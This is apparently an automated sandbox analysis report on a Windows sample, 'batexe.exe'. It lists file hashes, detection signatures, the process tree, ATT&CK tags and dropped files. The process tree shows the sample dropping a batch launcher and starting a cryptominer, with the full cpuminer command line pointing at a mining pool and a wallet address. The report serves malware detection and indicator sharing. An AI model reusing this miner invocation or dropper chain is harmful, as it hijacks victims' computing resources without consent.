73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 06:46

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4608	b2e.exe
4480	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4008-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 4608	4008	batexe.exe	75
PID 4008 wrote to memory of 4608	4008	batexe.exe	75
PID 4008 wrote to memory of 4608	4008	batexe.exe	75
PID 4608 wrote to memory of 1092	4608	b2e.exe	76
PID 4608 wrote to memory of 1092	4608	b2e.exe	76
PID 4608 wrote to memory of 1092	4608	b2e.exe	76
PID 1092 wrote to memory of 4480	1092	cmd.exe	79
PID 1092 wrote to memory of 4480	1092	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC99.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe

Filesize
7.0MB

MD5
c5887ae73f59c059da3fde8e6d13f808

SHA1
2777ac785cdadb6f351b1e39d3f74425b584088a

SHA256
b2237a6f8357a9fe5067246d963881fdf85b8f889adae455600de5acb2d64239

SHA512
febd27b91d2f524658744cb53bd33c2807095108f7211e4d2486edc902eaba7538da6d8b0856bef507ebc374838d8ad2cb5a3565e8fd4f2f66d2870b8d87ae37

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe

Filesize
8.7MB

MD5
27b16af158bbf5a68e991b839013c35f

SHA1
89412118868d7e05d7e23867917cd075f651f768

SHA256
701805a2a0c4479f626d75712cd98391c78a8145377fe094639ad2204b3c86b9

SHA512
4e79530791896cb4b46e6197e155ef2a22212976539ab321146bae76c6e43f116fbee9ade5bc2ae65758cd6bad175eda2f81ca5fb022bfbddf67cad761b2e328

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC99.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
343b327460a630ce02a10b5211b75df3

SHA1
7940ffe43baf420a1f49d08bb334890b2bdd162c

SHA256
962c19d488ef936f0a9c04929745af6bfc19df7acbedab97017161e0cf913fb2

SHA512
cf0e263713d77740ad90bf5fb3bc00bbfeef0895eefe73e9d7f3d83211ec3d36fc39ec21bcc27aa0db074de138133f19fcbde17bf48a9beb65b089553d07659e

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
4c018ca33435e56b5c656b3180626b5e

SHA1
9dcb7d693da353aeea2e3365062c9edc1df3fc73

SHA256
cb9f242e1d8e7666cdd52dfdf524193baa4097541db0621456192141091b8649

SHA512
3ee27ff196677774fe87ac226c744d30c66c1803cd8b6cb5bfb44068a025a17af3684cbd5d04c11d59c9c9d179800fac0cb1c8557359e35b60af33ea57467f74

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
e75a6f6a3acba577a77decb0e637a327

SHA1
73b38cca7d7f6552c13e76ed0967fd4b0a3f2f7b

SHA256
abdd8a9cb071cdbc2fb343fe917d40c0e772d789e7be66b70b33756dc6b7e9f1

SHA512
9575d1687d74be118b337e6749a80f0ca71ad117607b0a40ab8c696b1bf1fb09aeb55e02de4c0a6af37c2e4ac16c7d5252c99e17c79dc78a11d1763c38940254

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4008-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4480-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4480-42-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4480-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4480-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4480-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-54-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4480-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4608-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download